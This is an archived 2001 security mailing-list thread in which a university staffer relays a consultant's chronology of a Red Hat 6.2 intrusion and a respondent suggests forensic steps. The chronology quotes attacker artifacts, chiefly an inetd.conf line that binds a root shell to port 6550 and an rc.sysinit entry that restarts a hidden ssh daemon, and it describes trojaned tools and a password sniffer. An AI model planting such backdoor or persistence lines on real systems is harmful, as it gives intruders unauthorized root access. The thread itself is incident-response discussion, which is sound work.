RE: Red Hat compromise

From: Elliot Tilley (elliot_tilleyat_private)
Date: Wed May 16 2001 - 23:26:30 PDT

  • Next message: Andrew Thomas: "RE: Red Hat compromise"

    If the only ports allowed through the router were those listed, then the
    line added to inetd.conf "6550 stream tcp nowait root /bin/sh sh -i" won't
    be of any use to them. The names of the binaries relplaced are consitant
    with a number of root kits around, if they don't work properly they're
    probably from the t0rnkit, as this kit has binaries compiled against libc5
    which segfault on rh6.2. 
    As far as the binaries in /bin being the same, did you check them with
    md5sum or rpm? 
    As a quick and dirty way to see what you can find out about the attack, run
    (as root) strings on the partition that the log directory is on, i.e strings
    /dev/hda7 | more , and see what's there, you could also grep for in.ftpd
    (which is likely how they broke in, as bind exploits against the version
    from the rpm's that came with rh6.2 tend to fail due to compiler options
    used, I think..), anyhow, try this "strings /dev/hda7 | grep in.ftpd | more"
    , and look for connections around the times of the breakins, you may well
    find who did it. You could also replce in.ftpd with a date string such as
    'May' or something to look for all log entries from that day, ie " strings
    /dev/hda7 | grep May | more ".
    If you really want to know what happened, download The coroners toolkit and
    use that, you'll likely find out more than you thought you could, it's very
    supprising sometimes how much data remains on a disk after it's deleted. I
    once took a Hard drive out of a Gauntlet firewall on BSDi and used it in a
    test machine running rh6.2, which I installed a number of times during the
    testing. I later found, while messing around with tct, big chunks of log
    files from the Gauntlet, even though it had been formated a number of times
    with a different filesystem....
    Sorry I don't have more time to help.
    
    Elliot
    
    
    
    -----Original Message-----
    From: Lisa Bogar [mailto:lbogarat_private]
    Sent: Thursday, 17 May 2001 1:35 
    To: security-basicsat_private; forensicsat_private
    Subject: Red Hat compromise
    
    
    
    I received this message from a consultant in town on Friday.  I work at
    the University and he was looking for some suggestions.  Thought someone
    might be able to shed some light on how the person got into the box and
    also how one might monitor this compromise.  I have already told him to
    reinstall.
    
    Thanks,
    Lisa
    
    
    Here is the chronology I was given.
    
    
    Lisa,
    
    Here is a long winded chronology of our little computer break in. Thank you
    for your help.
    Mack
    
    
    
    On Monday, May 7 at 1:30 AM my client's computer was broken into.
    
    Our system is a Red Hat Linux v6.2 kernel version 2.2.14-5.0. It was a
    fairly standard installation with HTTP, FTP, SMTP, IMAP, and NNTP, and other
    standard INET services. The system was placed behind a FlowPoint FP2200-22
    SDSL router/firewall with NAT. The ports allowed through the router were 21
    (FTP), 23 (Telnet), 25 (SMTP), 53 (DNS), 80 (HTTP), 110 (POP3) and 143
    (IMAP). Internally, we use Samba for file and printer sharing.
    
    1:28 AM
    
    The first indication of infiltration is the following line was appended to
    the file /etc/inetd.conf:
        6550 stream tcp nowait root /bin/sh sh -i
    which provides a nice back door and indicates perpetrator had root access.
    
    1:34 AM
    
    The /bin/.../psybnc directory was created and the psybnc program files
    (1.9MB) were downloaded. That directory name is three dots (...), which
    makes it a hidden directory. Psybnc is an internet chat program.
    
    9:44AM
    
    The files /bin/trmzbsh and /usr/sbin/nscdx were added to the system. Trmzbsh
    is a bash shell and nscdx is a ssh (secure shell) daemon. In addition, the
    following was added to /etc/rc.d/rc.sysinit so that a secure shell access is
    maintained even on reboot (it has nothing to do with being a name server
    cache that I can find).
        # Name Server Cache Demon    if [ -x /usr/sbin/nscdx ]; then
    /usr/sbin/nscdx -q    fi
    I never did notice the nscdx process running. The ps, top, and the ls, and
    find commands were broken. I noticed them being broken right away, but I was
    coding....and thats hard for me....and I HATE interruptions....and I just
    put it on the list of curiosities to solve later when I had time (or became
    interested). I did become curious on how they broke those commands because
    the executables in /bin were not changed. I still do not know because I
    started restoring the system. I do know that they created the directory
    /usr/share/locale/su/.back and downloaded the following files into it:
    secure, messages, wtmp, netstat, ps, pstree, top, ls, find, du, dir, and
    vdir. That directory is now missing, probably because of my actions during
    reinstallation the next day.
    
    11:02AM
    
    Not satisfied, they came back. The psybnc program was probably not working
    for they downloaded the Eggdrop IRC Bot ("the most advanced IRC robot
    available") into the /home/orders/.../eggdrop1.4.3 directory (7.2MB). But
    worse, they commandeered our TCP connection and started a log file
    /bin/tcp.log which saved the time, machine name, IP address, login name,
    password, and other codes for every login of every user to every other
    system they connected to (e.g. for email). It even caught su's to other
    local users over a telnet session.
    
    I actually noticed them that time too. I was working on the system with 5 or
    6 telnet sessions open and I got angry when I lost a couple of them because
    they 'froze'. But because that happens off and on anyway, I have learned to
    sit on my hands and quietly curse our good friends providing DSL service.
    This time it was a clue that was ignored...I HATE interruptions....
    
    Other indications of our compromised network was that the computer did not
    show up on the other PC's Network Neighborhood, and connections to the IMAP
    mail server daemon failed.
    
    
    To the best of my knowledge, they haven't been back. But how would I know?
    nscdx/trmzbsh combo was the last thing I broke. I assume they had access to
    24hrs of TCP activity and passwords.
    
    The targeted computer is not quite into production, so although it is being
    used, it is not an active machine and I had the leisure of being able to
    take the time to investigate system changes. After moving and removing their
    changes, I changed the line in /etc/inetd.conf to:
        65500 stream tcp nowait root /bin/su su guest -c /usr/local/bin/oursh
     which executes a little script that sends me a page and then executes:
        export PS1='bash# '    exec /bin/sh -i
    which displays a prompt like they had.
    
    So now I get paged when they come back. So what? What am I going to do? Shut
    down the machine? If they are smart they won't, for I am sure I gave them
    enough clues that I was stumbling on to them.
    
    I tried to set up a sandbox for them using chroot and a restricted shell,
    but I cannot get that to work. I did it 10 years ago, but I can't do it
    today (!!). Another Unix had a tee command that had a -u (unbuffered) option
    so that I could:
        tee -u /tmp/keymon | sh -i
    and get a log of the keystrokes they feed us. But I can't do that anymore.
    Progress.......
    
    
    I find myself getting much more irritated when a person is running amuck on
    my system than I do combating a virus/worm. I originally thought this was a
    worm, but the difference in time between compromising /etc/inetd.conf and
    downloading psybnc is too long for a program. They were efficient, though.
    They have done this before.
    
    I think it is more than one person. The two chat programs could mean one
    person try try trying again, but I think its a buddy saying "No No, use this
    one".
    
    Most of the literature on security is on how to protect yourself, how to
    build walls. That's fine, I can do that (ugh), but once they are over the
    wall, how can we find out who they are and where they are located? If I do
    leave a hole in the wall, how can I restrict them and monitor what they try
    to do? I would like to get a name and address so I could turn them in to the
    authorities, but I would settle for any kind of evidence that would be
    worthwhile reporting.
    
    Have any suggestions?
    
    
    **********************************************************************
    This email and any files transmitted with it are confidential and
    intended solely for the use of the individual or entity to whom they
    are addressed. If you have received this email in error please notify
    the system administrator, mailto:mswat_private
    
    Feel free to visit the Citadel Securix website!  Click below.
    http://www.citadel.com.au
    **********************************************************************
    



    This archive was generated by hypermail 2b30 : Thu May 17 2001 - 13:54:21 PDT